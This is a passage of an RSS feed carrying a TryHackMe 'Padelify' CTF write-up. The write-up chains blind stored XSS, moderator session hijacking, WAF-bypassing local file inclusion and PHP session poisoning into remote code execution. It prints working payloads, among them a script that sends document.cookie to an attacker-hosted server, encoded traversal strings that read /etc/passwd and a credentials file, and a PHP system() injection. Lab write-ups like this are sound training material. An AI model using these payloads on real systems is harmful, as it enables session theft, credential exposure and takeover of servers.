<strong>X-Forwarded-For</strong></li><li>Stored HTML injection</li><li>Insufficient XSS filtering</li><li>Session hijacking via XSS</li></ul><p>This chain demonstrates how <strong>small misconfigurations</strong>, when combined, can lead to full administrative compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47c487e2552c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Padelify Tryhackme From Blind XSS to RCE]]></title>
            <link>https://medium.com/@contact.aryan.here/padelify-tryhackme-from-blind-xss-to-rce-5fe52b92f17c?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fe52b92f17c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 17:40:30 GMT</pubDate>
            <atom:updated>2026-07-08T15:55:30.695Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Padelify Tryhackme From Blind XSS to RCE (</strong>unintended)</h3><p>TryHackMe — Premium Room Padelify Write-Up</p><h4>Introduction</h4><p>This attack begins with basic enumeration and a blind stored XSS, which is used to hijack a moderator’s session. With elevated access, a WAF-bypassed Local File Inclusion (LFI) vulnerability exposes sensitive files and credentials. The chain concludes with PHP session poisoning, resulting in remote code execution (RCE).</p><h4>Initial Enumeration</h4><p><strong>Port Scan using Rustscan</strong></p><blockquote>rustscan -a 10.64.129.151</blockquote><p><strong>Open Ports:</strong><br>- <strong>22/tcp </strong>— SSH (public-key authentication only)<br>- <strong>80/tcp</strong> — HTTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*lX4OpMqs5HChdLyoiwBJUw.png" /><figcaption>Testing ssh connection</figcaption></figure><p><strong>Web Enumeration</strong></p><p>Using <strong>Caido</strong> and its built-in browser, I inspected the HTTP service at: <a href="http://10.64.129.151/%60">http://10.64.129.151/</a><br>The index page displays a message stating that a moderator must approve participation. This hints that user-supplied data (like username) may be displayed to a moderator — potentially allowing <strong>blind XSS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*9mbScUSaRPCZwP-9ueZUhA.png" /><figcaption>Sign-up page form</figcaption></figure><p>I submitted a test registration request and intercepted the POST request sent to: <strong>register.php</strong><br>Forward this request to Replay in Caido and repeater in burp suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mVRAfKCeAsqguoL_b_iflA.png" /></figure><p>Since the output is visible only to a logged-in moderator, this is a <strong>Blind XSS scenario</strong>. <br>To detect triggers, I hosted a simple web server locally:</p><blockquote>sudo python3 -m http.server 80</blockquote><h4>Blind XSS</h4><p><strong>Attempt 1–2 (Blocked by WAF)</strong></p><p>Payloads:</p><blockquote>&lt;script&gt;fetch(‘<a href="http://192.168.132.53/&#39;">http://192.168.132.53/&#39;</a>);&lt;/script&gt; &lt;Script&gt;fetch(‘<a href="http://192.168.132.53/&#39;">http://192.168.132.53/&#39;</a>);&lt;/Script&gt;</blockquote><p>Both <strong>blocked</strong> by WAF.</p><p><strong>Attempt 3 (Success)</strong></p><blockquote>&lt;Script&gt;window.location=’<a href="http://192.168.132.53/&#39;">http://192.168.132.53/&#39;</a>;&lt;/Script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTuBBdvJzNhXxiwiGy24uA.png" /></figure><p>WAF allowed this, confirming Javascript execution.</p><p>Since <strong>&lt;script&gt;</strong> tags run but fetch is blocked inline, I hosted an external JS file on the python web server:</p><p><strong>script.js</strong></p><blockquote>fetch(‘<a href="http://192.168.132.53/&#39;);%60">http://192.168.132.53/&#39;);</a></blockquote><p>Payload:</p><blockquote>&lt;Script src=”<a href="http://192.168.132.53/script.js">http://192.168.132.53/script.js</a>&quot;&gt;&lt;/Script&gt;</blockquote><p><strong>Success </strong>— external scripts bypass WAF controls, and fetch works inside the external JS file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTuBBdvJzNhXxiwiGy24uA.png" /></figure><p><strong>Stealing Moderator Cookies</strong></p><p>PHP session cookies are accessible via <strong>document.cookie</strong>. <br>I updated the JS payload:</p><p>script.js</p><blockquote>let cookie = document.cookie; fetch(“<a href="http://192.168.132.53/">http://192.168.132.53/</a>&quot; + cookie);</blockquote><p>After multiple attempts (the bot requires timing and sometimes reboots), I successfully received:</p><blockquote>PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxx</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNSPWKQbH433klyymCunVg.png" /></figure><h4>Session Hijacking</h4><p>Using browser devtools, I manually set the moderator’s cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*3j4s4_h63BqiKW1eqcmGAw.png" /></figure><p>After refreshing, I gained access to: <strong>dashboard.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*KpPoibCEa-zXCdFBWuyHHQ.png" /></figure><p>This page exposes the <strong>first flag</strong>.<br>Here we can see a FLAG which I have retracted in the HTML.</p><h4>Local File Inclusion (LFI) via page=</h4><p>Navigating the menu, the <em>Live</em> section leads to:</p><p><a href="http://10.65.144.3/live.php?page=match.php"><em>http://10.65.144.3/live.php?page=match.php</em></a></p><p>The <strong>page</strong> parameter appears injectable.</p><p>Bypassing WAF with encoded traversal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ua8lHkuSEMsEL-q4IcLGfg.png" /></figure><p>Caido fuzzing revealed that WAF can be bypassed using double directory traversal with URL encoding.</p><p>Fuzzing with Seclists LFI-Jhaddix.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpOxA8XHvIdjaQSHHaPelQ.png" /></figure><p>Working working LFI payload:</p><blockquote>….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2Fetc%2Fpasswd</blockquote><p>This successfully retrieved <strong>/etc/passwd</strong>.</p><p>I tried a lot to read log files for discovering RCE but all attempts failed.</p><p>Directory fuzzing with <strong>ffuf</strong>:</p><blockquote>ffuf -u <a href="http://10.64.182.243/FUZZ">http://10.64.182.243/FUZZ</a> \ -w /usr/share/wordlists/dirb/common.txt \ -e .html,.php \ -H “Cookie: PHPSESSID=…” \ -H “User-Agent: Mozilla/5.0”</blockquote><p>Two interesting directories were found:<br>- /logs<br>- /config</p><p><strong>error.log</strong> revealed:</p><blockquote>Credentials stored in /var/www/html/config/app.conf</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHVGSLvs8iGzdeh2LJvYQw.png" /></figure><p>Directly reading <strong>app.conf</strong> is blocked by WAF.<br>Attempting direct read of <strong>app.conf</strong> with LFI was tricky because blocked by WAF unless the <strong>dot (`.`)</strong> in the filename was encoded.</p><p><strong>Working payload</strong></p><blockquote>….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2Fvar%2Fwww%2F%2Fhtml%2F%2Fconfig%2F%2Fapp%2econf</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGGOIMXFkJ5qU5V35ebXag.png" /></figure><p>I have retracted the admin password.</p><p>Logging in with these credentials gives the <strong>Admin Flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*m_J8z6t4cSbO0uZbauL-0Q.png" /></figure><h4>Achieving RCE (Remote Code Execution) Un-Intended</h4><p>Although not required to complete the room, further testing revealed that RCE was also possible</p><p>Since PHP Session files are stored in:</p><blockquote>/var/lib/php/sessions/sess_&lt;PHPSESSID&gt;</blockquote><p>Create a User with PHP Payload in Username <strong>&lt;?php system(‘id’); ?&gt;</strong>Form payload URL-Encoded</p><blockquote>username=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E&amp;password=test%40123&amp;level=amateur&amp;game_type=single</blockquote><p>Submit this from private/incognito tab to avoid resetting cookies.</p><p>From the moderator account approve the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JNXgx8yBLi0f3xvzR5kK3Q.png" /></figure><p>Login with the new user and read its stored session cookie with the working LFI payload.</p><p>Example:</p><blockquote>….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//….//var/lib/php/sessions/sess_cookie</blockquote><p>URL encoded payload</p><blockquote>….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2F….%2F%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_u7k6k914scem8eel00ghpmef0c</blockquote><p>Replace the session cookie with the new user’s cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9mor0H6IjjGvgzt0XVBHkQ.png" /></figure><p>Response contains the output of:</p><blockquote>system(‘id’)</blockquote><p>This proves <strong>RCE via LFI → PHP session poisoning</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fe52b92f17c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>